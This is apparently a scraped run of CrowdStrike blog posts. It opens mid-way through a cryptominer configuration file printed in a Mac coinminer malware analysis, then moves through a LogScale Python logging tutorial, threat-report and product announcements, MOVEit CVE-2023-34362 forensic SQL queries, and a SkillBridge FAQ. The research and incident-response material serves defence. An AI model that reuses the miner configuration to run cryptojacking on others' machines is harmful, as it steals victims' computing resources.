        {
            "algo": null,
            "coin": null,
            "url": "127.0.0.1:4444",
            "user": "x",
            "pass": "x",
            "rig-id": "'${XARCH:0:1}${appId:0:7}'",
            "nicehash": true,
            "keepalive": false,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}

Endnote

1. https://www.trendmicro.com/en_us/research/22/b/latest-mac-coinminer-utilizes-open-source-binaries-and-the-i2p-network.html

Additional Resources

• Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.
• Get a full-featured free trial of CrowdStrike Falcon Prevent and see for yourself how true next-gen AV performs against today’s most sophisticated threats.

 

This post covers how to ingest data into CrowdStrike Falcon® LogScale from your MacOS platform using Python. This guide is great for setting up a one-node proof of concept (POC) so you can take advantage of LogScale’s free trial.

Before you can write your ingest client, you must prepare a good foundation. That means preparing your MacOS instance via the following steps:

• Download Homebrew 
• Update your default MacOS Python
• Install Python Package Manager
• Download LogScale’s libraries

Ready? Let’s get started.

Prepare your MacOS instance

One of the methods of ingestion is to use LogScale’s software libraries that are available in a variety of languages. Today we’ll be working with Python and MacOS.

Step 1: Install Homebrew, a package manager for MacOS. Installing new packages with Homebrew is a simple command line in Terminal, similar to installing new packages in Linux. Follow the instructions on the Homebrew site.

Step 2:  Use Homebrew and update your default MacOS Python. As you may know, MacOS 10.15 (Catalina) is currently running on Python 2.7, even though newer releases are available. It’s essential to MacOS that the default Python remains at 2.7. We’ll need to update your Python to the latest version while retaining version 2.7 for essential MacOS functions.

Follow these instructions from Matthew Broberg: The right and wrong way to set Python 3 as default on your Mac.

Update for Ventura: For the latest version of MacOS 13.2.1 (Ventura) Python 3.9.x is available, but it isn’t installed by default. You will need to install XCode to install Python using the terminal with the following command:

xcode-select –install

You can find more information here: Python3 now included with Ventura

Step 3: Once we have the appropriate version of Python running in your MacOS, we’ll need to install Python Package Manager, pip, so that we can install LogScale’s Client Library. Usually pip comes packaged with Python and there’s no additional step to install.

To see if pip is installed, run the following command in your Terminal:

python -m pip --version

If pip is installed, you’ll see the following output:

Alternatively, you can manually install pip by opening Terminal and run the following command:

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

Then run python -m pip --version again to verify pip is installed and you have the latest version.

Step 4: Install LogScale’s Python software library. The humiolib library is a wrapper for LogScale’s web API, supporting easy interaction with LogScale directly from Python. You can find more information in our humiolib github.

You can start the install by running the following this pip command in your Terminal:

pip install humiolib

This command will give you a series of outputs that tells you the files being installed. Once installation is complete, you’ve finished the prep work for your MacOS instance. Now we can move on to the fun stuff.

Build your ingest client

It’s time to start writing to an ingest client. Take a look at this example program:

Let’s break down some of the pieces of the code.

At a minimum, you’ll need to add humiolib to be able to run the codes required to send logs to LogScale.

from humiolib.HumioClient import HumioIngestClient

You’ll also need to create an ingest client with attributes that tells the client where to ship this log.

client = HumioIngestClient(
  base_url= "The url where LogScale resides",
  ingest_token="An API token from LogScale"
)

API Token can be retrieved from your LogScale instance.

Structured log messages

There are two types of messages you can send to LogScale: structured and unstructured.

In most of our use cases, LogScale receives structured data as a JSON object. There’s no strict format as to how the JSON object is structured, but you do need to ensure the JSON object is valid. You can check the structure of a JSON object using a tool like JSONLint.

Additionally, with structured data, you can send valid timestamps as part of the log entry, and LogScale will use the timestamp provided instead of inserting one of its own. Therefore, please ensure that the timestamp for the log entry is less than 24 hours from the time it is sent. Otherwise LogScale will assume it’s older data and drop the log entry without an error message.

Below is an example of structured data:

structured_data = [
 {
 		"tags": {
 			"host": "str(ip)",
 			"host_name": "str(host)",
            "filename": "str(caller.filename)",
 			"line": "str(caller.lineno)",
 			"error_level": "INFO"
 		},
 		"events": [
 			{
 				"timestamp": str(datetime.now(timezone("EST")).isoformat()), #.strftime("%Y-%m-%d %H:%M:%S %Z"),
 				"attributes": {
 					"message": "Structured message",
 				}
 			}
 		]
 	}
 ]

Once the structured data is validated, you can send it to LogScale using the following function where the variable structured_data is the object you created above to store your JSON:

client.ingest_json_data(structured_data)

Support for unstructured data

Alternatively, you can send unstructured data to LogScale. Unstructured data are timestamped at ingestion since it’s a long comma delimited string. Thus the timestamp that you may or may not provide in the log entry has no impact on the ingestion timestamp. Below is an example of unstructured data:

unstructured_data = ["Unstructured message","Hello Python World",str(datetime.now(timezone("EST")).isoformat())]

You can send it to LogScale using the following function where unstructured_data is the object that contains your message. Please note the differences in the syntax between ingesting structured and unstructured data.

client.ingest_messages(unstructured_data)

If you completed all the steps above, you should start seeing messages appearing in your LogScale instance. Happy logging!

 

The CrowdStrike 2023 Global Threat Report, among the most trusted and comprehensive research on the modern threat landscape, explores the most significant security events and trends of the previous year, as well as the adversaries driving this activity.

The latest edition of the CrowdStrike Global Threat Report comes at a critical time for organizations around the world. Adversaries have become more sophisticated, relentless and destructive in their attacks, as evidenced by the emergence of several trends in 2022 that threaten enterprise productivity and global stability. It is imperative that businesses pay attention to these changes in the threat landscape and respond with a stronger, more proactive defense.

Nation-state activity was front and center throughout 2022. The year started ominously as Russia’s deadly war of aggression in Ukraine brought about a terrible human toll, threatened international order and put countless global organizations at risk of spillover cyberattacks. China state-nexus adversaries accelerated their cyber espionage campaigns throughout the year, and Iranian actors launched destructive “lock-and-leak” operations using ransomware.  

Learn more: Download the CrowdStrike 2023 Global Threat Report 

Adversaries continued to adapt and refine their techniques, which included re-weaponizing vulnerabilities, a greater focus on cloud exploitation and a rise in malware-free attacks. We saw a dramatic increase in advertisements from access brokers, who acquire access to organizations and provide or sell it to other actors, including ransomware operators. CrowdStrike Intelligence identified a significant increase in access broker activity throughout 2022, with more than 2,500 advertisements identified — a 112% jump from 2021. An especially popular tactic was the abuse of compromised credentials acquired via information stealers or purchased on the criminal underground, reflecting a growing interest in targeting identities that we also saw last year: Our 2022 report found 80% of cyberattacks leveraged identity-based techniques.

CrowdStrike Intelligence began tracking 33 new adversaries in 2022, raising the total number tracked to more than 200. Stopping breaches requires an understanding of these adversaries, including their motivations and the techniques they use to target organizations. Below are some of the trends and findings we explore in greater detail throughout this year’s report:

• Cloud exploitation skyrocketed: Last year’s Global Threat Report anticipated a rise in cloud exploitation, a trend that unfolded as expected in 2022. Cloud exploitation cases grew by 95% last year, and incidents involving cloud-conscious threat actors nearly tripled from 2021. The cloud continues to evolve as the new battleground as adversaries increasingly target cloud environments.
• Malware-free attacks continued to rise: Sophisticated adversaries relentlessly searched for new ways to evade antivirus protection and outsmart machine-only defenses. Seventy-one percent of attacks detected were malware-free, while interactive intrusions (hands-on-keyboard activity) increased 50% in 2022.
• Adversaries re-weaponized and re-exploited vulnerabilities: The constant disclosure of vulnerabilities affecting legacy infrastructure like Microsoft Active Directory continued to burden security teams and present an open door to attackers, while the ubiquitous Log4Shell vulnerability ushered in a new era of “vulnerability rediscovery,” during which adversaries modify or reapply the same exploit to target other similarly vulnerable products. 
• China-nexus adversaries scaled operations: CrowdStrike Intelligence tracks China-nexus adversaries as the most active targeted intrusion groups. China-nexus adversaries, and actors using TTPs consistent with them, were observed targeting nearly all 39 global industry sectors and 20 geographic regions we track. These intrusions are likely intended to collect strategic intelligence, compromise intellectual property and further the surveillance of targeted groups. 

CrowdStrike: Stopping Breaches So Customers Can Move Forward

The 2023 Global Threat Report shows security must parallel the slope of technology innovation.  As enterprise technology matures, security must also evolve to match the sophistication of the technology organizations rely on. This slope of innovation applies to adversary activity as well: With every innovation we achieve, we can expect adversaries to seek new ways to exploit it. 

At CrowdStrike, our mission today is the same as when we started: to stop breaches so our customers can move forward. Our focus is on delivering the platform, technology and intelligence needed to keep you ahead of the adversary. This is why we’ve unified and delivered critical protections like endpoint and extended detection and response, identity threat protection, cloud security, vulnerability and risk management, threat intelligence and much more — all from a single platform.   

I hope you find this report instructive in how we can continue to work together to protect the world from those who mean to do harm. In the coming weeks, we will publish a series of blog posts taking a deeper dive into each of the key trends discussed in the 2023 Global Threat Report. These posts will examine the drivers of these trends and discuss how organizations can better defend themselves against modern adversaries. Security starts with knowledge — of the adversaries targeting us, their tactics and the vulnerabilities they’ll seek to exploit. With that knowledge comes resolve, that together we can prevail. 

Additional Resources

• Download the CrowdStrike 2023 Global Threat Report to learn how the threat landscape has shifted in the past year and understand the adversary behavior driving these shifts.
• Join CrowdStrike for a three-part CrowdCast series for in-depth discussions around the threats, events and trends in the CrowdStrike 2023 Global Threat Report.
• Want to know the adversaries potentially targeting your organization? Get your own custom threat landscape in the CrowdStrike Adversary Universe.
• Defending against today’s adversaries requires the best tools. Explore the CrowdStrike Falcon platform and learn how our technology protects against the threats discussed in the 2023 Global Threat Report, including cloud exploitation, advanced adversaries, malware-free attacks, vulnerability exploitation and more.

Managing security posture at scale is a significant challenge for global organizations of all sizes. With a rapidly expanding security estate and a global worker gap of 3.4 million, according to (ICS)2, it is imperative that the efficacy of defensive controls is maximized to combat sophisticated adversaries. In order to do so effectively, organizations must test their security controls on a continuous basis to uncover configuration gaps and areas of missing visibility. Regulatory agencies as well as entities involved in the advancement of best practices, including the FBI, CISA and MS-ISAC, have formally recommended continuous testing in a production environment for optimal performance. However, we have observed a limited number of vendors that create a seamless experience for security analysts.

Traditional approaches to testing at scale have been limited based on two primary factors: 1) testing intervals and 2) interoperability with the security controls they test. Testing in weekly intervals is insufficient as adversaries move rapidly to exploit vulnerabilities in ever-changing infrastructure environments. Testing tools require lightweight deployments to proactively test on an intraday basis and produce high-fidelity results. When gaps are uncovered, traditional vendors have typically created an onerous process for the security operations team to investigate and modify configurations with limited context before initiating a subsequent test. To ensure the gaps identified aren’t lost to other priorities within the security organization, it is crucial that continuous testing tools identify the root cause and provide a remediation path that is enriched with the context of the security controls in the customer environment.

Prelude Security is reshaping the continuous security testing market with a deeply integrated, lightweight architecture that reduces the burden on security teams. The Prelude Detect platform deploys kilobyte-sized probes — an ephemeral process that runs in RAM — across endpoint infrastructure and runs tests on a daily interval by default, with the flexibility to run hourly. This approach enables teams to answer the fundamental question of whether their controls are appropriately configured to defend against the latest threats with high fidelity. Prelude’s path to remediation is seamless, as contextual indicators are passed to the defensive controls to ensure subsequent tests are passed.

CrowdStrike is excited to announce its strategic investment in Prelude Security through the CrowdStrike Falcon Fund, our strategic investment vehicle. A key piece of that will be a multi-faceted partnership between CrowdStrike and Prelude to enable continuous testing deeply integrated with our best-in-class XDR security platform and endpoint security solutions. Through our initial integration, CrowdStrike and Prelude create a self-optimizing loop, providing assurance that customer defenses are continuously validated. 

How the Integration Works

• Prelude utilizes CrowdStrike’s best-in-class architecture to deploy its probes to joint customers via Falcon Real Time Response.
  • Falcon Real Time Response allows customers to ensure that their testing scales with their underlying infrastructure.
• Prelude passes indicators of compromise through CrowdStrike’s open APIs, and our AI/ML capabilities enable the Falcon platform to learn from the findings of Prelude’s test to auto-harden defenses.

Please visit the Prelude integration page in the CrowdStrike Store to learn more and request the integration today.

Additional Resources

• Learn more about Falcon Fund and CrowdStrike’s partnership with innovative companies.
• See how CrowdStrike gives you comprehensive protection across your organization through our 15-day free trial. 
• Join us this fall at Fal.Con 2023 to see how CrowdStrike is delivering protection to customers around the world.

CrowdStrike Falcon^® Discover delivers deep asset visibility with no hardware to deploy or manage, providing valuable context for all of your assets. For IT and security teams alike, Falcon Discover is a powerful tool to stop breaches. 

The majority of CrowdStrike customers already use Falcon Discover to improve their IT and security posture. To continue providing them with strong protection, we’re continuously enhancing our product to help them tackle some of their most pressing challenges, including reducing the attack surface, investigating and responding to threats, and streamlining IT operations. 

We’re announcing two new features that make Falcon Discover even more powerful: Application inventory with integrated vulnerability insights and expanded system insights. 

Quick note before we jump into the details: This post is meant to guide users through these new features. If you’re an existing Falcon Discover customer, simply open your Falcon command console and follow along. If you’re curious about how Falcon Discover can help your organization, start your free trial. Note: To enable vulnerability analysis, customers must also license CrowdStrike Falcon^® Spotlight.

Application Inventory with Integrated Vulnerability Insights

Falcon Discover currently offers an applications dashboard to help you inventory your applications. Now, we’ve integrated vulnerability insights into this dashboard to give you even more context for controlling applications, enhancing investigations and remediating potential points of compromise.

Try it for yourself: In your Falcon command console, go to Menu > Discover > Applications > Applications dashboards 

Here, you’ll see a summary view of every application in your organization, including sanctioned and unsanctioned applications. You can see the total number of applications, the most used and unused applications, applications by vendor, suspicious applications, applications by category and more. 

This insight can help you proactively reduce the attack surface. For example, by seeing a list of the most used suspicious applications, you can take action to block certain applications, train users or layer in additional security measures. 

This updated applications dashboard can also help you control application license spend. Being able to see which applications your organization is overusing could help you restrict usage, while seeing underused applications can inform renewal decisions.

Next, go to Menu > Assets > Managed Assets > select asset > See details page

Here, we’ve integrated application and vulnerability context into a single, easy-to-use view. In this view, you can see which applications are installed on the asset and if any application vulnerabilities are present, a feature powered by Falcon Spotlight’s ExPRT.AI. 

This vulnerability context can help you keep tabs on vulnerable applications. By seeing details such as the number of vulnerabilities, installed patches and failed login attempts for a certain application, you can use this insight to spark deeper investigations, if necessary. 

System Insights

The other exciting update to Falcon Discover is expanded system insights, which provide extensive system information in a single view. Why this level of detail? Three main reasons: 

1. Managing hardware vulnerabilities

Like software, hardware can have dangerous vulnerabilities. If, for example, there’s a severe vulnerability on an employee’s laptop, the new system insights in Falcon Discover can show you how many and which other assets are tied to the vulnerability to help you expedite remediation.

2. Monitoring resource usage

Before installing an application or performing a vulnerability scan, you may want to ensure your assets have the capacity to handle it. The new system insights in Falcon Discover provide a near real-time view of system performance to enable this action. Additionally, ITOps and DevOps teams can use CPU and memory data to reallocate underused compute resources.

3. Meeting compliance requirements

Many organizations strive to encrypt their data to help meet compliance requirements and/or adhere to internal best practices. With visibility into drive encryption data in Falcon Discover, you can quickly see how much of your endpoint data is encrypted or not. You can also identify enabled and disabled Windows OS security settings for all assets, helping improve your security posture.

Try it for yourself: In your Falcon command console, go to Assets > System Insights > Managed assets 

Here, you can see a dashboard of all system information for managed assets, including hardware. If an employee laptop is affected by a hardware vulnerability, for example, this view would allow you to filter on all assets with the same hardware to quickly see the scope of the vulnerability’s impact. From there, you can take the necessary steps to remediate any risks associated with the vulnerability, such as pushing an update. 

The system insights dashboard also allows you to filter on average processor usage. This allows you to verify that adequate performance resources are in place before executing a given task and spin up additional resources for assets near peak usage. Conversely, you can see which assets are being underutilized and could be spun down or retired.

There’s a good reason why more than 70% of CrowdStrike customers use Falcon Discover. With these new features, one of the best IT asset visibility tools in cybersecurity just got better. Explore these new features — and the countless other insights available — to uplevel your IT and security posture today. 

Additional Resources

• Visit the Falcon Discover webpage for more information.
• Watch this video to learn more about the new system insights in Falcon Discover. 
• Start a free trial of Falcon Discover to uplevel your IT and security posture.

Summary Points

• Organizations around the globe continue to experience the fallout of the MOVEit Transfer exploit CVE-2023-34362 
• CrowdStrike incident responders have identified evidence of mass file exfiltration from the MOVEit application, as a result of the webshell activity on compromised MOVEit systems
• Data exfiltration activity can be identified by analyzing the MOVEit application database and IIS logs
• CrowdStrike also provides guidance of evidence preservation and service restoration in the event there is an exploit

Background

CrowdStrike incident responders have been at the forefront of investigating impacted victims of CVE-2023-34362. Since the release of the vulnerability, there has been great collaboration across the cybersecurity industry, and this blog will cover novel details for teams investigating the potential impact to their organizations. Specifically, this blog will discuss what CrowdStrike has identified for investigators to determine whether data exfiltration has occurred in their MOVEit Transfer application and its potential impact. 

MOVEit Database Analysis

As widely discussed, the Webshell will utilize an existing user account with permission level “30” or a new randomly generated username to establish a persistent session within the MOVEit application.

Investigators can review the MOVEit application database for evidence of existing sessions created by the Webshell. The associated database names can be found as either moveittransfer or moveitdmz. To perform the manual review, an investigator will require both the .mdf and associated .ldf file for MSSQL based database and the associated files for MySQL installs. Additionally, a backup of the database can be created to preserve evidence for review. The MSSQL and mySQL backups are typically in a .bak and .sql format respectively.

The database table activesessions contains details related to active sessions within the MOVEit application. Identifying the active session can assist investigators by quickly identifying the User account leveraged by the Webshell to interact with the application. The MOVEit database can be configured for mySQL or SQL. Note: If there is not an active session identified at the time of analysis this does not mean one did not exist.

Example queries to find malicious sessions within the activesessions table in SQL and mySQL:

SQL

SELECT [Username],[LoginName],[RealName],[IPAddress],[LastTouch],[SessionID],[Timeout]
     FROM [<Database Name>].[dbo].[activesessions]
     Where Timeout = '9999';

mySQL

SELECT Username,LoginName,RealName,IPAddress,LastTouch,SessionID,Timeout
   FROM <Schema Name>.activesessions
   Where Timeout = '9999';

Username	LoginName	RealName	IPAddress	LastTouch	SessionID	Timeout
<16 Character String>		NULL	127.0.0.1	2023-05-29-01:00:00.000	<SessionID>	9999

Example Table of a malicious session created by the Webshell

An additional method to identify potential accounts of interest is to review the users table for accounts with permission level “30”. This is a lower fidelity search, but can provide a smaller list of users to investigate.

Example queries to identify privileged users of interest within the users table in SQL and mySQL:

SQL

[Username],[LoginName],[RealName],[LastLoginStamp],[PasswordChangeStamp],[Permission],[CreateStamp],[LastChangeStamp]
     FROM [<Database Name].[dbo].[users]
     Where Permission = '30' AND Deleted = '0';

mySQL

Username,LoginName,RealName,LastLoginStamp,PasswordChangeStamp,Permission,CreateStamp,LastChangeStamp
     FROM <Schema Name>.users
     Where Permission = '30' AND Deleted = '0';

The MOVEit database contains verbose activity logging that will capture the data exfiltration activity events. Investigators can review the log table for action=file_download events to identify potential signs of data exfiltration from the MOVEit application. The log table will include important fields such as Username, IP Address, Filename, Folder, Transfer Size, and User Agent. It is suggested to filter the log table for known IP addresses and users of interest. 

Example queries to review the log table for evidence of file download events:

SQL – View all successful file_download events since 2023-05-01

SELECT [ID],[LogTime],[Action],[Username],[FolderID],[FileID],[IPAddress],[Error],[Parm4],[AgentBrand],[AgentVersion],[XferSize],[Duration],[FileName],[FolderPath],[Hash],[VirtualFolderID],[VirtualFolderPath]
   FROM [<DatabaseName>].[dbo].[log]
   Where LogTime > '2023-05-01 00:00:00' AND Error = '0' AND Action = 'file_download';

SQL – View all successful file_download events from a set of IP Addresses

SELECT [ID],[LogTime],[Action],[Username],[FolderID],[FileID],[IPAddress],[Error],[Parm4],[AgentBrand],[AgentVersion],[XferSize],[Duration],[FileName],[FolderPath],[Hash],[VirtualFolderID],[VirtualFolderPath]
   FROM [<Database Name>].[dbo].[log]
   Where LogTime > '2023-05-01 00:00:00' AND Error = '0' AND Action = 'file_download'
   AND IPAddress IN ( 'IP Address A', 'IP Address B');

mySQL – View all successful file_download events since 2023-05-01

SELECT ID,LogTime,Action,Username,FolderID,FileID,IPAddress,Error,Parm4,AgentBrand,AgentVersion,XferSize,Duration,FileName,FolderPath,Hash,VirtualFolderID,VirtualFolderPath
  	FROM <Schema Name>.log
  	Where LogTime > '2023-05-01 00:00:00' AND Error = '0' AND Action = 'file_download';

mySQL – View all successful file_download events from a set of IP Addresses

SELECT ID,LogTime,Action,Username,FolderID,FileID,IPAddress,Error,Parm4,AgentBrand,AgentVersion,XferSize,Duration,FileName,FolderPath,Hash,VirtualFolderID,VirtualFolderPath
   FROM <Schema Name>.log
   Where LogTime > '2023-05-01 00:00:00' AND Error = '0' AND Action = 'file_download'
   AND IPAddress IN ( 'IP Address A', 'IP Address B');

Internet Information System (IIS) Log Analysis

An additional artifact that should be reviewed is the IIS logs for suspicious requests to download files. CrowdStrike investigators identified that in some instances the IIS logs will capture GET requests with the cs_uri_stem=/download. Within these events, the cs_uri_query will contain multiple FileID’s and FolderID’s for objects within the MOVEit application. Investigators should review for suspicious entries, particularly requests with a large number of files and folders referenced in a single request. The IIS log entries do not typically provide a comprehensive view of the Files and Folders downloaded. These entries can primarily be used to assist with identification of additional IOCs and activity. Entries in the IIS logs with cs_uri_stem=/download that have a cs_Referer reference from human.aspx and contain an IP address rather than a domain name have been found in multiple instances to identify Threat Actor owned IP addresses in the c_ip field. The MOVEit database log table should provide a more verbose view of files downloaded.  Below is an example entry of a GET request related to file exfiltration.

Evidence Preservation Guidance 

If indicators of compromise are identified on a system, it is recommended to preserve the available evidence for forensic analysis. The following steps are recommended guidance for preserving evidence for review of MOVEit Transfer investigations:

1. Create a snapshot or image of the MOVEit Transfer Web Server system(s)
   1. Include the data drive containing wwwroot if it is not installed to C:
2. Create a backup dump of the MOVEit Transfer database
3. Export and retain available network logs (WAF, Firewall, Netflow, ELB, ALB, NSG Flow, VPC Flow, etc.)

Recommendations for Service Restoration 

CrowdStrike recommends following the recommendations set out by the Progress team to patch affected systems before restoration of services¹. If you suspect that your systems were affected immediately take steps to:

1. Preserve associated systems and databases for investigation purposes as previously outlined
2. Temporarily disable TCP 80/443 traffic to affected systems. During this time:

1. 1. Re-deploy new MOVEit Transfer application servers with latest patch installed
   2. Review database for any recently created users (these can be found in the users table of the database)
   3. Reset credentials of application accounts prioritizing service and administrator accounts
   4. Restrict IP addresses from only trusted sources for administrator accounts access
   5. Ensure security tooling is redeployed on systems and functioning

3. Re-enable TCP 80/443 traffic to patched systems
4. Maintain continuous monitoring of associated systems and stay up to date on any latest developments from the Progress team

We thank the Progress team for their communications and updates in keeping the community informed. 

¹ https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023

CrowdStrike is defining the future of cloud security by empowering customers to rapidly understand their cloud risk and to detect, prevent and remediate cloud-focused threats. Today we are announcing a series of new cloud security innovations designed to deliver complete visibility into potential attack paths, from endpoint to cloud, and instantly secure vulnerable cloud workloads across build and runtime.

As part of this, CrowdStrike announced a new “One-Click XDR” capability that automatically identifies and secures unprotected cloud workloads by instantly deploying the CrowdStrike Falcon® agent. These agent-based and agentless innovations enable customers to consolidate multiple cloud security point products into a single, unified platform for complete protection across the cloud security lifecycle.

The cloud has quickly emerged as the new adversary battleground. As organizations expand their adoption of cloud infrastructure and services, adversaries follow, refining their tactics and techniques to exploit these environments. The growth of “cloud-conscious” adversaries — groups that abuse cloud-specific features to achieve their goals — represents significant risk to any organization operating in the cloud. 

Request a free CrowdStrike Cloud Security Risk Review to understand how to protect your cloud environment and get customized insights to operationalize best practices for cloud security.

CrowdStrike research shows cloud exploitation cases grew by 95% in the past year, and cases involving threat actors specifically targeting cloud environments nearly tripled. Adversaries are also growing more brazen, infiltrating endpoints and pivoting to cloud infrastructure. The increasingly sophisticated tactics, techniques and procedures (TTPs) of cloud-conscious adversaries are documented in the CrowdStrike 2023 Cloud Risk Report, released today in conjunction with CrowdStrike’s on-demand Cloud Threat Summit.  

Staying ahead of the adversary requires knowledge of their TTPs, but stopping breaches in the cloud also requires a unified platform approach to cloud security that delivers complete visibility and protection across cloud workloads. 

To help organizations stop breaches from endpoint to cloud, we’ve extended our industry-leading platform with CrowdStrike Falcon^® Cloud Security and unveiled powerful new cloud-native application protection platform (CNAPP) capabilities to deliver complete visibility into potential cloud attack paths and instantly secure unprotected or vulnerable cloud workloads across build and runtime. 

Falcon Cloud Security provides complete coverage across all major cloud providers — AWS, GCP and Azure — and cloud infrastructure. We have created an offering that unifies cloud workload protection, cloud security posture management and cloud identity entitlement management into a holistic CNAPP with industry-leading threat hunting, services and adversary intelligence built in. Our customers can protect their environment from host to cloud using a single platform, operated from a single console.

New innovations that will soon be available in Falcon Cloud Security include:

One-Click XDR: One of the chief causes of cloud breaches is unprotected hosts — without visibility, they are open targets. This innovation enables organizations to easily view all unmanaged AWS EC2 instances for Windows and Linux, as well as unregistered accounts, to identify vulnerable workloads and automatically protect them with our industry-leading EDR/XDR capabilities for full breach prevention with one click. This will start with support with AWS.

Agentless Snapshot Scanning for OS Vulnerabilities: There are several reasons customers may be unable to install agents across their cloud infrastructure — whether it’s an unsupported operating system or PaaS services like Lambda/Functions or AppEngine — leading them to potentially miss vulnerabilities. To address this visibility gap, CrowdStrike is introducing Snapshots for AWS. This agentless capability takes snapshots of running AWS EC2 instances and scans them for potential risks. Security teams can integrate the view of these risks into the attack path visualization and deploy runtime protection with one-click XDR if needed.

Complete Cloud Attack Path Visualization: As organizations adopt more cloud services, it becomes difficult to visualize and prioritize risk. CrowdStrike’s new attack path visualization gives IT and security teams the ability to view potential attack paths an adversary might take to compromise a cloud workload, and in doing so, help them understand areas of risk. CrowdStrike attack path visualization uses pre-runtime and runtime data to provide a complete picture of how an adversary accessed a system and moved laterally, as well as which weaknesses might be exploited to further an attack, all in one easy-to-understand view.  

Compliance Dashboard Enhancements: The proliferation of cloud services and providers has made it increasingly challenging to adhere to industry and organizational benchmarks. Violations often go unnoticed, leading to potential risks and costly consequences. Falcon Cloud Security compares cloud application configurations to these benchmarks to identify violations, as well as the ability to remediate in real time, to ensure application availability across all major cloud providers. 

We have added to our CIS benchmarks across AWS, Azure and Google. Now, we have over 250 adversary-focused policies out-of-the-box, helping organizations save time and reduce operational costs. Our single dashboard provides compliance visualization across AWS, Azure, GCP and on-premises environments. This allows users to identify risks specific to their application or environment and consistently enforce compliance across all major cloud infrastructures.  

Infrastructure-as-Code (IaC) Security: It is critical that organizations ensure applications are secure before they are deployed. IaC security enables IT and security teams to perform IaC scans, which can identify more than 1,000 misconfigurations across cloud and container assets and 10 IaC platforms with a single command-line interface tool. This allows DevOps teams and developers to easily assess the security posture of their software early in the application lifecycle, and it lets security teams monitor the efficacy of preventive controls in the build phase of application development.

Kubernetes Admission Controller (KAC): CrowdStrike’s Kubernetes Admission Controller simplifies container management by providing predefined policies, removing the need for users to write raw Rego rules and preventing the deployment of misconfigured containers. Only our KAC is able to identify and eliminate vulnerable containers and prevent them from re-deploying.

Defending Against the Future of Cloud Threats

CrowdStrike expects cloud-focused threat activity to continue — an assessment made with high confidence based on the persistent increase in cloud targeting and organizations’ expansion into multi-cloud and hybrid cloud environments. While the multi-cloud approach offers greater scalability and flexibility, it also drives complexity and creates new challenges for security teams.

In response to these evolving threats, we will continue to provide industry-leading technologies, adversary tracking, threat intelligence collection and campaign analysis — all delivered in a single unified console to help organizations stay informed and protected against modern cloud threats without adding complexity to their security environment.

Additional Resources

• Schedule a demo to see CrowdStrike Falcon Cloud Security in action.
• We’re proud to be recognized as a Representative Vendor in the 2023 Gartner® Market Guide for CNAPP, which we believe demonstrates our ability to meet or exceed Gartner’s criteria for CNAPP capabilities.
• See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware. Start your 15-day free trial today.

SkillBridge, a program sponsored by the U.S. Department of Defense, helps transitioning service members from all branches of the military secure internships with corporate partners. As a steadfast supporter of the military community, CrowdStrike is proud to participate in the SkillBridge program.

CrowdStrike has a long history of championing veterans. In addition to our collaboration with SkillBridge, we’re a Military Friendly® Employer that also supports Operation Motorsport and provides veteran mentorships through our partnership with American Corporate Partners.

SkillBridge is the epitome of win-win at CrowdStrike: Talented service members gain valuable work experience and the opportunity to see how their skills translate in the workforce outside of the military, and CrowdStrike gains direct access to high-caliber candidates who bring diverse backgrounds, skills and experience into the cybersecurity space.

We get lots of questions about the SkillBridge program at CrowdStrike. Below are answers to the most frequently asked questions. 

Frequently Asked Questions

Who’s eligible for SkillBridge?

Per the program’s rules, service members may be eligible to participate in SkillBridge if they meet the following requirements:

• They have 180 days or fewer of remaining service prior to their date of discharge, and they have at least 180 continuous days of active service.
• They obtain approval from their unit commander.
• They complete any additional requirements presented by their branch or command.
• They complete the application and interview process for a SkillBridge role at CrowdStrike.

How long are SkillBridge engagements at CrowdStrike?

Most participants are approved for up to 12 weeks of corporate work, the timing of which coincides with the date of separation from service.  

Are SkillBridge opportunities at CrowdStrike remote or in person? 

Many SkillBridge positions at CrowdStrike are remote, meaning participants can work remotely from anywhere in the U.S. However, some teams and roles require onsite attendance. The location requirement for open roles is clearly stated in job descriptions.

Do SkillBridge workers get paid? 

All SkillBridge engagements occur within the participant’s last six months of service and therefore they continue to receive their military salary. Per program rules, participants are not allowed to receive payment or remuneration of any kind from CrowdStrike.

What kind of SkillBridge roles are available at CrowdStrike?

SkillBridge interns participate in a broad range of projects at CrowdStrike, ranging from project kickoffs, trialing new programs and mitigating work overflow to threat hunting, incident response, complex system analyses and software development. Most of our opportunities are specific to cybersecurity and/or engineering. 

Do SkillBridge internships ever become paid roles?  

SkillBridge is designed as an internship program without a guarantee of future employment. Some SkillBridge internships last only weeks, with participants jumping right into a project and moving on soon after. In other situations, due to the caliber and experience of participants, several have received offers of employment from CrowdStrike following their internships. We’ve also had participants join CrowdStrike months later after applying directly for a new role.

How do I see SkillBridge openings at CrowdStrike? 

All SkillBridge opportunities are posted on our Careers page with “SkillBridge” in the title.

I still have questions. Who can I reach out to? 

Please email [email protected] for more information about SkillBridge and our other veteran programs. Please note that CrowdStrike does not work with outside vendors for SkillBridge.

More Opportunities in the Works

CrowdStrike is extremely proud to participate in the SkillBridge program. Since becoming an authorized SkillBridge organization, we’ve worked to expand both the number and variety of opportunities for transitioning service members.

More resources and updates are in the works. Meanwhile, we look forward to more SkillBridge success stories in the near future!

The vastness of the deep and dark web can easily turn attempts to monitor for cyber threats into a firehose of useless information. Part of the problem is the nature of the data streams that need to be monitored. Every day, more credentials are stolen and exposed. Illegal criminal forums are full of repeated spamming of illicit advertisements. Thousands of new domain names are registered daily, including many that can be considered typosquatted. All of this data can generate significant numbers of matches on even well-structured and finely tuned monitoring programs.

As experts in managed digital risk protection, the CrowdStrike Falcon® Intelligence Recon+ team leverages CrowdStrike’s technology to sift through many notifications to find only relevant hits for our customers. In 2022, the Falcon Intelligence Recon+ team triaged hundreds of thousands of notifications and found a true positive rate of only 5.2%. In this blog, we cover several illustrative use cases reflecting the team’s work throughout the year.

Notifications by Industry

